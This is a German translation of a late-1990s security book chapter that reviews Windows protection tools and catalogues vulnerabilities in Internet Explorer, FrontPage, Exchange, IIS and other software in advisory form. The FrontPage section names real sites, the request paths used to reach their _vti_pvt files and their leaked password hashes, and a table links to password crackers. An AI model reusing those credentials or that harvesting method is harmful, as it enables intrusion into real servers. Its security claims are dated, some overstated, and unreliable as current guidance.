werden. Es ist leicht zu konfigurieren und erfordert wenig oder gar keine Änderungen Ihrer aktuellen
Systemkonfiguration. Optionale Sound-Ereignisse, Stealth-Modus und ein Paßwort-Timeout sind
ebenfalls verfügbar.
CyberWatch
CyberWatch ist ein Programm zur Erkennung von Gesichtern. Die Software erkennt nur die Gesichter,
die in ihrer Gesichterdatenbank abgelegt sind. Der Computer sieht sich also wirklich Ihr Gesicht an, um
zu bestimmen, ob Sie ein autorisierter Benutzer sind. Das Unternehmen behauptet, daß CyberWatch auf
dem Einsatz neuronaler Netze basiert. Sehen Sie sich es mal an:
http://www.miros.com/
WP WinSafe
WinSafe ist ein sehr vielversprechendes Utility, das Ihnen die Kontrolle einzelner Laufwerke ermöglicht.
Dadurch können Sie zum Beispiel Unbefugte daran hindern, auf Ihr CD-ROM- Laufwerk zuzugreifen.
Besonders interessant ist, daß WinSafe auch Netzwerk-Laufwerke schützt. Sie können das Utility testen,
indem Sie sich die Shareware-Version besorgen.
Warnung:
Die Dokumentation warnt davor, daß die Verwendung des Policy-Editors zum Einstellen des Real Mode
von DOS möglicherweise zu Konflikten mit WinSafe führen könnte.
Microsoft
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Sie finden WinSafe hier:
http://kite.ois.com.au/~wp/index.htm
SafeGuard
Die SafeGuard-Reihe (darunter SafeGuard Easy, SafeGuard Pro und PC/DACS für DOS/ Windows)
bietet Festplatten-Verschlüsselung, Schutz gegen Booten von Diskette, Paßwortalterung und
Authentifizierung und unterstützt pro Rechner bis zu 15 Benutzer. Safe Guard unterstützt mehrere
wirksame Verschlüsselungsalgorithmen, darunter DES und IDEA. Besonders interessant ist, daß diese
Produkte über ein Netzwerk installiert werden können (und damit der Aufwand von Einzelinstallationen
entfällt).
http://www.mergent.com/utimacohome.nsf/lookup/dms/
Secure Shell
Secure Shell (SSH) ermöglicht eine sichere, verschlüsselte Kommunikation über das Internet. SSH ist ein
ausgezeichneter Ersatz für Telnet oder rlogin. Es verwendet IDEA- und RSA-Verschlüsselung und ist
daher extrem sicher. Es heißt, daß die Schlüssel jede Stunde verworfen und durch neue Schlüssel ersetzt
werden. SSH schließt die Möglichkeit vollkommen aus, daß Dritte Ihre Kommunikation abfangen
können (z.B. Paßwörter, die ansonsten in Klartext übermittelt würden). SSH-Sitzungen können nicht
übernommen oder gekidnappt werden und auch nicht ausspioniert werden. Der einzige Nachteil ist, daß
auch Ihr Gegenüber SSH verwenden muß, damit es funktioniert. Sie denken vielleicht, daß eine so
verschlüsselte Kommunikation schrecklich langsam sein muß, aber dem ist nicht so. Unter folgender
Adresse finden Sie eine der Haupt-Distributionsseiten für SSH:
http://www.datafellows.com/f-secure/
Formlogic Surveillance Agent
Der Surveillance Agent ist ein einfaches, aber mächtiges Werkzeug zur Überwachung von
Systemprozessen. Es kann auf zwei Arten verwendet werden: Entweder wird Ihre Überwachung
offenkundig vorgenommen oder sie erfolgt, ohne eine Spur zu hinterlassen. Das Programm wird
normalerweise beim Hochfahren in den Speicher geladen und startet beim Einloggen. Alternativ dazu
können Sie auch einen Auslöser bestimmen, so daß ein bestimmtes Ereignis den Überwachungsprozeß
anstößt. Wenn z.B. jemand versuchen sollte, auf Ihren persönlichen Kalender zuzugreifen, könnte dies
eine Überwachung auslösen. Die Autoren dieser Software haben an alles gedacht. So können Sie z.B.
den Überwachungsprozeß auch als irgendeinen anderen Prozeß tarnen (falls an Ihrem Arbeitsplatz ein
paar schlaue Cracker herumlaufen). Dieses sehr vollständige Tool ist dafür maßgeschneidert, jemanden
auf frischer Tat zu ertappen, und es ist wahrscheinlich gut dazu geeignet, Computer-Kriminalität am
Arbeitsplatz auf die Spur zu kommen.
ftp://ftp.rge.com/pub/systems/simtelnet/win3/security/spy1116.zip
Fortres 101
Dieses Programm ist ein ausgezeichnetes Tool. Wie auf der Fortres-Homepage beschrieben, kann das
Microsoft
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Produkt Benutzer daran hindern:
...Boot-Vorgänge zu unterbrechen; Windows zu verlassen; an ein DOS-Prompt zu kommen;
Icons hinzuzufügen, zu verschieben oder zu löschen; die Erscheinung von Windows zu
verändern; Software zu installieren, zu kopieren oder herunterzuladen; vom Administrator
nicht abgesegnete Programme laufen zu lassen; Low-Level- System-Tools laufen zu lassen;
Drukkerkonfigurationen zu ändern; Bildschirmschoner-Konfigurationen zu ändern;
wichtige Systemdateien zu löschen; Dateien auf Festplatte zu speichern; oder sich Dateien
auf der Festplatte auch nur anzusehen.
Das Utility läuft unter Windows 3.11 und Windows 95. Der Preis schreckt Gelegenheitsanwender
wahrscheinlich ab, aber Systemadministratoren, die mehrere Windows-basierte Systeme verwalten
müssen, sollten sich das Programm zulegen. Mehr Informationen finden Sie hier:
http://www.fortres.com/fortres.htm
17.3 Sicherheitslücken von
Microsoft-Anwendungen
In dem nun folgenden Abschnitt möchte ich Schwachstellen einiger häufig verwendeter
Microsoft-Anwendungen aufführen. Der Microsoft Internet Explorer (Microsofts Webbrowser) und
Microsoft Exchange (ein Paket zur Mail-Verwaltung) sind zwei wichtige Netzwerkanwendungen.
Deshalb möchte ich mit ihnen beginnen.
17.3.1 Microsoft Internet Explorer
Es gibt mehrere ernstzunehmende Schwachstellen im Internet Explorer. Solche, die als kritisch oder ernst
eingestuft sind, können zu einer Gefährdung des Systems führen und dürften deshalb für
Systemadministratoren besonders interessant sein.
Schwachstelle Paßwort-Authentifizierung
Microsoft Internet Explorer, Version 3.x unter Windows NT 4.0
Auswirkungen: Der MSIE offenbart Ihren Benutzernamen, Paßwort, Domain etc.
Einstufung: kritisch
Abhilfe: Der ursprüngliche Patch verursachte zusätzliche, in anderem Zusammenhang stehende
Probleme und wurde wieder entfernt; regelmäßig unter http://support.microsoft.com/ nachschauen.
Weitere Informationen: http://support.microsoft.com/support/kb/articles/q111/7/ 21.asp
Beigetragen von: unbekannt
Beschreibung: Der MSIE sendet Ihr Paßwort, Ihren Benutzernamen, Domainnamen und Ihre
Arbeitsgruppe an jeden entfernten Server, der diese anfordert. Diese Werte werden in Klartext gesendet -
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (11 von 39) [19.04.2000 21:14:59]
dies ist eine kritische Sicherheitslücke. Böswillige Webmaster können sich auf diese Weise wichtige
Informationen verschaffen.
Schwachstelle Icons
Microsoft Internet Explorer, Version 3.01
Auswirkungen: Entfernter Code kann auf Ihrem Rechner ausgeführt werden.
Einstufung: äußerst ernst
Abhilfe: http://www.microsoft.com/ie/ oder Upgrade
Weitere Informationen: http://www.njh.com/latest/9703/970306-01.html
Beigetragen von: David Ross
Beschreibung: In Windows NT 4.0 können Bösewichte ein Icon auf Ihrem Desktop plazieren, das, wenn
Sie es anklicken, Code von einem beliebigen entfernten Rechner aufrufen und ausführen kann.
Schwachstelle ISP-Scripts
Microsoft Internet Explorer, Version 3.01
Auswirkungen: Unautorisierter Code kann auf Ihrem Rechner ausgeführt werden.
Einstufung: äußerst ernst
Abhilfe: Upgrade
Weitere Informationen: http://web.mit.edu/crioux/www/ie/index.html
Beigetragen von: Chris Rioux
Beschreibung: ISP-Scriptdateien werden vom MSIE automatisch heruntergeladen. Böswillige
Webmaster können dies ausnutzen, um ein beliebiges Programm auf Ihrem Rechner laufen zu lassen. So
könnten sie sogar Ihre gesamte Festplatte löschen, wenn die Berechtigungen dies erlauben.
Schwachstelle LNK (CyberSnot)
Microsoft Internet Explorer, Version 3.01
Auswirkungen: Entfernte Rechner können unautorisierten Code auf Ihrem Rechner ausführen.
Einstufung: ernst
Abhilfe: Upgrade
Weitere Informationen: http://mapp.org/oasis/iebug.html
Beigetragen von: den Leuten bei www.cybersnot.com
Beschreibung: Webmaster mit bösen Absichten können MSIE veranlassen, mit einer LNK- Erweiterung
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (12 von 39) [19.04.2000 21:14:59]
verbundene Befehle zur Bearbeitung an den lokalen Rechner zu senden. Das bedeutet, daß eine
LNK-Anweisung, die als URL ausgedrückt ist, auf dem lokalen Rechner ausgeführt wird. Fies.
Schwachstelle HTML
Microsoft Internet Explorer, Version 3.01
Auswirkungen: Böswillige Webmaster können Batch-Dateien auf Ihrem Rechner ausführen.
Einstufung: ernst
Abhilfe: Upgrade
Weitere Informationen: http://main.succeed.net/~kill19/hack/os/nt/ie4.html
Beigetragen von: unbekannt
Beschreibung: HTML-Code kann so geschrieben werden, daß er, wenn er heruntergeladen wird,
beliebige Batch-Dateien auf Ihrem Rechner ausführen kann. Das scheint zwar nicht so schlimm zu sein
(da nur Dateien ausgeführt werden können, die bereits auf Ihrer Platte sind), aber böswillige lokale
Nutzer könnten dies ausnutzen, um Ihre Festplatte zu zerstören. Dazu plazieren sie dort eine Batch-Datei,
zu deren Ausführung sie berechtigt sind oder auch nicht. Sie laden sich die gewünschte Seite herunter,
und die Batch-Datei wird mit Ihren Berechtigungen ausgeführt.
Schwachstelle Java Virtual Machine
Microsoft Internet Explorer, Version 3.01
Auswirkungen: Böswillige Webmaster können Verbindungsanforderungen umleiten.
Einstufung: ernst
Abhilfe: Java deaktivieren oder Upgrade
Weitere Informationen: http://neurosis.hungry.com/~ben/msie_bug/
Beigetragen von: Ben Mesander
Beschreibung: MSIEs Java-Implementierung ist fehlerhaft und ermöglicht es entfernten Rechnern, Ihren
Rechner zu veranlassen, Verbindungsanforderungen an andere Rechner zu senden.
Schwachstelle Jscript IFRAME
Microsoft Internet Explorer, Version 4.0
Auswirkungen: Böswillige Webmaster können Dateien auf Ihrem Rechner lesen.
Einstufung: mittel bis ernst
Abhilfe: http://www.microsoft.com/msdownload/ieplatform/ie4patch/ie4patch.htm
Weitere Informationen: http://www.geog.ubc.ca/snag/bugtraq/msg00818.html
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (13 von 39) [19.04.2000 21:14:59]
Beigetragen von: Ralf Huskes
Beschreibung: Mit Hilfe von Jscript und dem IFRAME-Objekt kann ein böswilliger Webmaster an
HTML-, Text- und vielleicht auch andere Dateien auf Ihrem Rechner gelangen. Diese werden für das
Opfer unsichtbar in einen Frame-Bereich geladen. Dann kann der Webmaster Ihre lokalen Dateien per
DHTML-Routine lesen.
Schwachstelle MSIE-4.0-Puffer-Überlauf
Microsoft Internet Explorer, Version 4.0
Auswirkungen: Der Rechner blockiert, und beliebiger Code kann ausgeführt werden.
Einstufung: mittel bis ernst
Abhilfe: ftp://ftp.axion.net/resbuff.exe (Patch)
Weitere Informationen: http://www.microsoft.com/ie/security/?/ie/security/buffer.htm
Beigetragen von: L0pht
Beschreibung: Dieser Puffer-Überlauf ist eine ernste Sache. Es besteht die Möglichkeit, beliebigen Code
in nicht dafür vorgesehenen Speicherbereichen laufen zu lassen. Allerdings sind noch keine Fälle
bekannt, wo dies passiert ist. Microsoft hat einen Patch herausgegeben, der unter der oben genannten
URL erhältlich ist. Widersinnigerweise kann dieser Angriff durch eine URL ausgelöst werden.
Ich sollte vielleicht darauf hinweisen, daß der MSIE 4.0 eine recht neue Anwendung ist. Ich würde Ihnen
empfehlen, Version 3.0x mit allen Patches zu versehen und neue Informationen zu Version 4.0
abzuwarten. (Ich habe 4.0 wieder von meinem Microsoft-Rechner entfernt.)
17.3.2 Microsoft FrontPage
Microsoft FrontPage und die FrontPage-Erweiterungen beinhalten schwerwiegende Sicherheitsprobleme.
Wenn Sie einen FrontPage-Web-Server betreiben (oder einen Server, der die FrontPage-Erweiterungen
verwendet), sollten Sie sich folgender Schwachpunkte bewußt sein:
Schwachstelle VTI_BIN und VTI_PVT
FrontPage Version 1.0
Auswirkungen: Entfernte Benutzer können Paßwort- oder andere sicherheitsrelevante Dateien lesen.
Einstufung: ernst bis kritisch
Abhilfe: bislang keine
Weitere Informationen: bei bugtraq@netspace.org
Beigetragen von: Perry Harrington
Beschreibung: 1. Entfernte Benutzer können eine FTP-Verbindung herstellen, ein /VTI_BIN-
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (14 von 39) [19.04.2000 21:14:59]
Verzeichnis einrichten, ausführbare Dateien dort speichern und diese dann ausführen. 2. Entfernte
Benutzer können auf Paßwort- und Administrationsdateien im /VTI_PVT-Verzeichnis zugreifen, indem
sie einfach nur ihren Ort angeben. Ich empfehle Ihnen, sich an Microsoft zu wenden. In der Zwischenzeit
sollten Sie die Möglichkeit des anonymen FTP deaktivieren.
Dies ist ein extrem gefährliches Sicherheitsloch, und zwar aus folgendem Grund: Jeder, der eine ganz
normale Suchmaschine benutzt, kann verletzbare Rechner identifizieren. Im Frühjahr 1998 löste dies eine
wahre Welle von Angriffen aus. Das Problem betrifft Server, die eine von jedermann lesbare
Verzeichnisstruktur haben. Cracker können solche Rechner herausfinden, indem sie nach vti_bin und
vti_pvt suchen. Dadurch können leicht wichtige Informationen offengelegt werden. Im allgemeinen kann
man Informationen wie diese herausziehen:
Options None
<Limit GET POST>
order deny,allow
deny from all
allow from all
require group authors administrators
</Limit>
<Limit PUT>
order deny,allow
deny from all
</Limit>
AuthType Basic
AuthName default_realm
AuthUserFile c:/frontpage\ webs/content/_vti_pvt/service.pwd
AuthGroupFile c:/frontpage\ webs/content/_vti_pvt/service.grp
Diese Informationen können zum Knacken des entfernten Rechners verwendet werden. Zumindest
können Sie schnell herausfinden, welche Gruppen gültig sind. Außerdem können Sie feststellen, wo die
Paßwortdateien gespeichert sind. (Meistens suchen Cracker nach authors.pwd, aber auch service.pwd ist
eine vielversprechende Datei.)
Während ich dieses Buch schrieb, habe ich über http://altavista.digital.com/ verwundbare Sites gesucht.
Ich mußte nur eine Seite mit Suchergebnissen durchgehen! Mein erstes Opfer fand ich in Rußland, unter
http://natlib.udm.ru/, der Staatsbibliothek der Republik Udmurt. Ihre Paßwörter waren in Klartext
einsehbar. Durch Anfordern von http://natlib.udm.ru/private/adf/info/_vti_pv t konnten Eindringlinge an
diesen Text gelangen:
# -FrontPage-
adf:FL5TMQXmUS2sc
Das nächste vielversprechende Opfer war Theta Marine Communications unter:
http://www.thetamarine.com/
Durch Eingabe von http://www.thetamarine.com/indexpage/_vti_pvt bekam ich diesen Text:
# -FrontPage-
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (15 von 39) [19.04.2000 21:14:59]
john:hOjvzyUVvmzSo
JOHN:8e6n7t4NVa.mg
Wenn Sie diese Paßwörter erst einmal haben, ist der Rest nur noch eine Frage der Zeit. Noch einmal:
Dies ist ein kritisches Sicherheitsloch. Sie sollten wenigstens die Dateiberechtigungen korrekt setzen, so
daß niemand Ihre PWD-Dateien herunterladen kann.
17.4 FrontPage-Erweiterungen
FrontPage Version: Frontpage 97
Auswirkungen: Entfernte Benutzer können privilegierten Zugriff erhalten.
Einstufung: mittel bis ernst
Abhilfe: Upgrade auf das Update für die FrontPage-98-Erweiterungen
Weitere Informationen: http://www.microsoft.com/frontpage/wpp/1330update.htm
Beigetragen von: Bob LaGarde
Beschreibung: Entfernte Benutzer können shtml.dll verwenden, um asp.dll zu überschreiben und somit
den Server zu zwingen, ASP-Quellcode anzuzeigen. Die einzige Lösung ist bislang ein Upgrade auf das
Update für FrontPage-98-Erweiterungen.
Schwachstelle WebBots
FrontPage Version 1.1 und Frontpage 97 mit WebBot-Komponenten
Auswirkungen: Entfernte Benutzer können Webseiten Informationen hinzufügen.
Einstufung: mittel
Abhilfe: Upgrade
Weitere Informationen: http://wi.ba-loerrach.de/system/serk/security.htm
Beigetragen von: unbekannt
Beschreibung: Entfernte Benutzer können Informationen an Webseiten anhängen, indem sie die
WebBot-Komponenten Ergebnisse speichern oder Diskussion verwenden. Das ist zwar keine kritische
Sicherheitslücke, aber es wäre doch ziemlich peinlich, wenn Sie eines Tages zur Arbeit kämen und Ihre
Webseiten wären neu geschrieben worden. Installieren Sie besser eine neuere Version von FrontPage.
17.4.1 Microsoft Exchange
Microsoft Exchange 5.0 hat vier wichtige Schwachstellen.
Schwachstelle SMTP
Microsoft
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Microsoft Exchange Version 5.0
Auswirkungen: Der Server wird beim Bearbeiten endloser Zeichenketten abstürzen.
Einstufung: mittel - Denial-of-Service
Abhilfe: Service-Pack 1 für Microsoft Exchange installieren
Beigetragen von: Sean Boulter
Beschreibung: SMTP-Nachrichten mit einer ungewöhnlich langen Zeichenkette in der Betreffzeile
führen zu einer Überlastung des Information Store. (Das passiert auch bei beschädigten Headern.)
Schwachstelle Web Connector
Microsoft Exchange Version 5.0
Auswirkungen: Benutzer können auf jedes beliebige Postfach zugreifen.
Einstufung: mittel bis ernst
Abhilfe: noch keine verfügbar
Weitere Informationen: http://www.dhp.com/~fyodor/sploits/NT.ms.exchange.5.0.html
Beigetragen von: Geremy Cohen und Russ Cooper
Beschreibung: Per Voreinstellung erben alle Postfächer den Exchange Service Account (SA) auf dem
Exchange Server. Dieser Bug ist schwer reproduzierbar und erfordert privilegierten Zugang. Dennoch
sollte Microsoft ihn beheben.
Schwachstelle Paßwort-Cache
Microsoft Exchange Version 5.0
Auswirkungen: Paßwörter verbleiben im Cache.
Einstufung: mittel bis ernst
Abhilfe: Speicherung von Paßwörtern im Cache deaktivieren
Weitere Informationen: http://www.njh.com/latest/9708/970825-04.html
Beigetragen von: Rajiv Pant
Beschreibung: Exchange-Paßwörter verbleiben n Minuten im Cache, wie in dem Wert für das
Cache-Aufbewahrungslimit in der Registry definiert. Um das Caching von Paßwörtern zu vermeiden,
empfehlen einige Leute, die Cache-Größe auf 0 zu setzen.
Schwachstelle Puffer-Überlauf
Microsoft Exchange Version 5.0
Microsoft
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Auswirkungen: Der Überlauf kann ermöglichen, daß fremder Code ausgeführt wird.
Einstufung: mittel bis ernst
Abhilfe: Service-Pack 1 für Exchange
Weitere Informationen: http://www.rootshell.com/archive-ybhats7qq2cdgmj6/199801/ exchange5.txt
Beigetragen von: http://www.rootshell.com
Beschreibung: Die Leute von http://www.rootshell.com/ haben einen Exploit gepostet, der den
Exchange Server zum Absturz bringt. Man munkelt, daß beliebiger Code auf den Stack geschoben und
ausgeführt werden kann.
17.4.2 Applikationen und Add-Ons von Drittanbietern
Es gibt mehrere Anwendungen von Drittanbietern, die Ihr Windows-NT-System einem beträchtlichen
Risiko aussetzen können. Im folgenden Abschnitt gehe ich kurz auf diese Probleme ein.
iCat Carbo
Windows-NT-Version: Alle Versionen, auf denen der iCat-Carbo-Server läuft.
Auswirkungen: Diese Sicherheitslücke macht all Ihre Dateien jedermann verfügbar.
Einstufung: ernst
Abhilfe: keine, von der ich wüßte
Weitere Informationen: http://www.hack101.com/board/Security_bug.txt
Beigetragen von: Mikael Johansson
Beschreibung: Der iCat-Carbo-Server ist eine Einkaufskorb-Anwendung für Web-Shops. Momentan
(während ich dies schreibe) können entfernte Benutzer eine URL senden, die jede beliebige Datei auf der
Festplatte preisgibt. Wenden Sie sich für aktuelle Informationen an die Hersteller von Carbo.
CCMAIL 8
Windows-NT-Version: Alle Versionen, auf denen CCMAIL 8 läuft.
Auswirkungen: Das Paßwort für Ihr Postfach kann herausgefunden werden.
Einstufung: mittel bis ernst
Abhilfe: Sperren Sie die Berechtigungen in %systemroot%\~ccmaint.bat.
Weitere Informationen: http://www.kitee.fi/~am/hp/files/CC_MAINE.HTM
Beigetragen von: Carl Byington
Beschreibung: Die Batch-Datei ccmaint.bat hat falsche Berechtigungen, so daß jeder auf sie zugreifen
Microsoft
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kann. Das kann dazu führen, daß lokale Benutzer Ihr Postfach-Paßwort herausfinden können. Überprüfen
Sie die Dateiberechtigungen.
Netscape FastTrack
Windows-NT-Version: Alle Versionen, auf denen FastTrack 3.0x läuft.
Auswirkungen: Entfernte Benutzer können Zugriff auf admin-Verzeichnisse erlangen.
Einstufung: mittel bis ernst
Abhilfe: Deaktivieren Sie die Möglichkeit des Verzeichnis-Browsens.
Beigetragen von: Matthew Patton
Beschreibung: In Umgebungen, die .nsconfig-Dateien verwenden, können Zugriffskontrollen von
entfernten Benutzern umgangen werden. Wenden Sie sich für Informationen über die neusten
Entwicklungen an Netscape.
Eudora Mail Client
Eudora-Versionen: Eudora Light, Eudora Pro
Auswirkungen: Benutzer können Mail-Paßwörter knacken.
Einstufung: mittel
Abhilfe: Keine Lösung dokumentiert. Wenden Sie sich an Qualcomm.
Weitere Informationen: http://www.msfc.nasa.gov/EmailServices/bulletins/b-97- 104.html
Beigetragen von: Sander Goudswaard
Beschreibung: Eudoras Verschlüsselung des Mail-Paßworts ist schlecht und kann mit Hilfe des
EUDPASS.COM-Utilities attackiert werden. (Noch dazu ist das Paßwort in der INI-Datei gespeichert,
wodurch es leicht zugänglich ist.) Mir ist zur Zeit keine Lösung dieses Problems bekannt.
WS_FTP
WS_FTP-Version: Alle Versionen
Auswirkungen: Benutzer können WS_FTP-Paßwörter knacken.
Einstufung: mittel
Abhilfe: Sperren der WS_FTP.INI
Weitere Informationen: http://www.dhp.com/~fyodor/sploits/ws_ftp.ini.pathetic.crypt.html
Beigetragen von: Milosch Meriac
Beschreibung: Die Datei WS_FTP.INI enthält Paßwörter, die leicht zu knacken sind. Wenn Sie lokalen
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (19 von 39) [19.04.2000 21:14:59]
Benutzern ermöglichen, an diese Datei zu gelangen oder sie zu lesen, sind Ihre Accounts auf anderen
Systemen gefährdet. Ändern Sie entweder die Berechtigungen für das Verzeichnis, in dem die Datei
enthalten ist, oder speichern Sie Paßwörter nicht mehr auf Ihrer Festplatte.
DFÜ-Netzwerk
Windows-Version: Windows 95
Auswirkungen: Lokale Benutzer können Ihr Paßwort für das DFÜ-Netzwerk stehlen.
Einstufung: mittel
Abhilfe: Speichern Sie Ihr Paßwort nicht ab.
Beigetragen von: Peter Moon
Beschreibung: Das Paßwort für das DFÜ-Netzwerk von Windows 95 ist leicht zu stehlen. Es gibt ein
Programm, mit dem jeder lokale Benutzer an das Paßwort kommen kann. Der einzige Schutz besteht
darin, daß Sie Ihr Paßwort nicht mehr abspeichern, sondern bei jeder Verbindung manuell eingeben.
17.4.3 Andere Microsoft-Anwendungen
Es gibt viele andere Microsoft-Anwendungen, die Sicherheitslücken haben. Das gilt besonders für
veraltete Versionen, da Microsoft nicht gewillt ist, diese zu verbessern. Wenn Sie überhaupt etwas
Sicherheit möchten, müssen Sie nicht nur Windows NT kaufen, sondern auch viele Ihrer vorhandenen
Anwendungen upgraden. Dieses Upgrade-Spielchen kann sehr kostspielig werden. Deshalb scheuen viele
größere Firmen Microsoft-Produkte inzwischen oder schränken ihre Abhängigkeit von diesen auf ein
Minimum ein.
Microsofts größte Herausforderung ist es, Benutzerfreundlichkeit mit Stabilität und Sicherheit unter
einen Hut zu bringen. Die Stabilität ist ein wichtiges Thema (in Unternehmen wahrscheinlich das
wichtigste). Ständige Upgrades sind für Behörden und Unternehmen aber nicht gut, da sie immer zu
einem Anstieg des TCO führen.
Hinweis:
Der TCO (total cost of ownership) ist ein ökonomischer Wert. Er definiert den gesamten Betrag, den Sie
für einen Rechner während seiner »Lebensdauer« ausgeben. Das heißt im Klartext: Wieviel Geld wird
Sie der Rechner kosten, bis Sie ihn ausrangieren? Wenn Sie Microsoft-Produkte verwenden, wird Ihr
TCO sehr hoch sein. Kontinuierliche Upgrades sind sehr teuer und für Microsoft sehr einträglich. Viele
Netzwerk-Profis kritisieren den Software-Giganten dafür, und dies nicht ohne Grund. Für Netzwerke
sind fast alle anderen Betriebssysteme stabiler als die von Microsoft und viel preisgünstiger, da sie oft
jahrelang ohne Upgrades auskommen. Viele Administratoren haben inzwischen erkannt, daß die
Entscheidung für Microsoft mit lebenslangen Upgrades und einer drastischen Inflation des TCO
einhergeht.
Auf jeden Fall haben viele ältere Microsoft-Anwendungen ernste Sicherheitsprobleme, die nie behoben
werden. Eine dieser Anwendungen ist Microsoft Access.
Microsoft
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Microsoft Access
Microsoft Access ist eine beliebte Anwendung und Programmierumgebung zur Erzeugung und
Verwaltung von Datenbanken. Das Access-Paket bietet Paßwortschutz für einzelne Datenbanken. In den
Versionen 1.0 und 2.0 ist dieses Paßwortschema von Natur aus fehlerhaft und bietet Ihnen sehr wenig
wirkliche Sicherheit.
Das Paßwortschema von Access hat drei grundlegende Fehler. Erstens führt Access die
Authentifizierung basierend auf einem internal security identifier (SID) durch. Dieser SID wird daraus
hergeleitet, daß der Benutzername und der personal identifier (PID) einen Algorithmus durchlaufen
(wobei diese Variablen als Schlüssel verwendet werden). Wenn ein Cracker nun einen neuen Account
anlegt und dabei denselben Benutzernamen und PID benutzt, erhält er genau denselben SID. Dies
ermöglicht es Crackern, die Sicherheitskontrollen zu umgehen.
Noch unsicherer sind in Microsoft Access 1.0 erzeugte Alt-Datenbanken. Die »einzigartige« SID, die
beim Setup für die Administratoren erzeugt wurde, wird auf Diskette 1 des Diskettensatzes geschrieben.
(Deshalb kann jeder mit Zugriff auf Diskette 1 alle Sicherheitskontrollen auf diesem bestimmten Rechner
umgehen.) Außerdem kann jeder eine alternative Datei SYSTEM.MDA aufspielen und sich Zugang zu
sonst für ihn gesperrten Dateien verschaffen. Schließlich, und vielleicht ist dies der wichtigste Fehler,
können die SIDs aller Benutzer gelesen und manuell verändert werden, wodurch ein Cracker die
Privilegien jedes Benutzers erhalten kann.
Dies sind alles sehr ernste Fehler, die wahrscheinlich nie mehr behoben werden. Wenn Ihre Daten in
einer Access-Datenbank gespeichert sind, sollten Sie aufpassen. Die einzige wirkliche Lösung ist,
entweder eine Zugangskontrolle auf Betriebssystemebene zu aktivieren oder eine
Zugangskontroll-Software eines Drittanbieters zu installieren.
17.4.4 Noch mehr andere Anwendungen
Letztendlich kann jede herkömmliche Anwendung für Endanwender geknackt werden, die einen
Paßwortschutz für Dokumente anbietet. Tabelle 17.2 führt diese Anwendungen zusammen mit den
Adressen der Tools auf, die sie knacken können. Sie sollten diese Paßwort-Cracker selbst ausprobieren.
Diese Erfahrungen werden Sie immer daran erinnern, daß nichts auf Ihrem Rechner am Arbeitsplatz, in
der Schule oder zu Hause wirklich sicher ist.
Tabelle 17.2: Paßwort-Cracker für beliebte Anwendungen
Anwendung Adresse des Cracking-Programms
ARJ-Archive http://www.l0pht.com/pub/blackcrwl/hack/brkarj10.zip
CuteFTP-Paßwörter http://www.tyco.net.au/~watson/files/passwords/ucffire.zip
Microsoft Excel http://www.net-security.sk/crack/ostatne/excelCrack.zip
Microsoft Word http://www.net-security.sk/crack/ostatne/wp1.zip
WordPerfect ftp://utopia.hacktic.nl/pub/crypto/applied-crypto/wpcrack.tar.gz
ZIP-Archive http://morehouse.org/hin/blckcrwl/hack/fzc104.zip
Microsoft
file:///d|/cool stuff/old/hack/kap17.htm (21 von 39) [19.04.2000 21:14:59]
Windows-Bildschirmschoner http://morehouse.org/hin/blckcrwl/hack/scrncrck.zip
17.4.5 Zusammenfassung zu DOS, Windows und Windows 95
DOS, Windows und Windows 95 sind ausgezeichnete Systeme, aber keines von ihnen ist sicher. Wenn
Ihre Firma diese Betriebssysteme schon nutzt, sollten die Rechner auf jeden Fall hinter einer Firewall
verborgen werden. Das gilt besonders für Windows 95, da dies noch nicht gründlich genug erforscht ist
und eventuell Sicherheitslücken aufweist, die noch nicht entdeckt worden sind. (Außerdem hat Microsoft
nicht die Absicht, die Sicherheit von Windows 95 zu verbessern.)
Wenden wir uns also der Sicherheit von Windows NT zu.
17.4.6 Windows NT
Microsoft mag für schlechte Sicherheit weithin bekannt sein, aber dies gilt nicht unbedingt für
Windows NT. Die Anfangsinstallation von Windows NT bietet genauso gute Sicherheitsvorkehrungen
owie die meisten anderen Plattformen. Der einzige Haken ist, daß Sie stets mit den neuesten
Entwicklungen Schritt halten müssen.
Fragen Sie sich erst einmal folgendes, bevor Sie weiterlesen: Habe ich Windows NT mit NTFS installiert
und die Service-Packs in der richtigen Reihenfolge installiert? Wenn nicht, ist Ihr Windows-NT-System
nicht sicher, und der Rest dieses Kapitels kann Ihnen auch nicht weiterhelfen. Installieren Sie erst die
Service-Packs bzw. installieren Sie Windows NT mit aktiviertem NTFS.
Hinweis:
Man könnte glauben, daß die Reihenfolge, in der man die Service-Packs installiert, keine Rolle spielt.
Das ist aber leider nicht so. Es gibt dokumentierte Fälle von Anwendern, die die Service-Packs in
abweichender Reihenfolge installiert haben und bei denen später Probleme auftraten. Ich empfehle
Ihnen, sich zu notieren, wann Sie die Packs installiert haben und welche Probleme bei der Installation
aufgetreten sind.
Da das Hauptthema dieses Buches die Internet-Sicherheit ist, beginnen wir die Betrachtung von
Windows NT mit dem IIS (Internet Information Server).
17.4.7 IIS (Internet Information Server)
IIS ist ein sehr beliebtes Server-Paket und hat, wie die meisten Server-Pakete, Sicherheitslücken. Wir
befassen uns hier sehr gründlich mit IIS. Beachten Sie aber bitte, daß wir nicht alle Schwachstellen
besprechen. Es existieren noch weitere, die aber weniger ernst sind.
Schwachstelle CMD/BAT
IIS Version 1.0
Auswirkungen: Entfernte Benutzer können beliebige Befehle ausführen.
Microsoft
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Einstufung: kritisch
Abhilfe: ftp://ftp.microsoft.com/bussys/iis/iis-public/fixes/usa/cmdbat/
Beigetragen von: unbekannt
Beschreibung: IIS 1.0 handhabt Dateien mit Endung CMD oder BAT mit Hilfe von CMD.EXE mittels
MIME-Mapping. Dies ermöglicht es Crackern, Befehle auf Ihrem Server auszuführen. Leider werden die
so ausgeführten Befehle nicht aufgezeichnet. Ein Cracker könnte also theoretisch Systemdateien löschen
und Ihr System außer Betrieb setzen, ohne jemals entdeckt zu werden. Installieren Sie den Patch.
Schwachstelle IIS Active Server Pages
IIS Version 3.0 und möglicherweise andere
Auswirkungen: Entfernte Benutzer können Dateien überschreiben.
Einstufung: ernst bis kritisch
Abhilfe: keine
Beigetragen von: Daragh Malone
Beschreibung: Active Server Pages können dazu verwendet werden, jede beliebige Datei zu
überschreiben. Cracker, die diese Schwachstelle ausnutzen, müssen Scripting-Erfahrung haben. Der
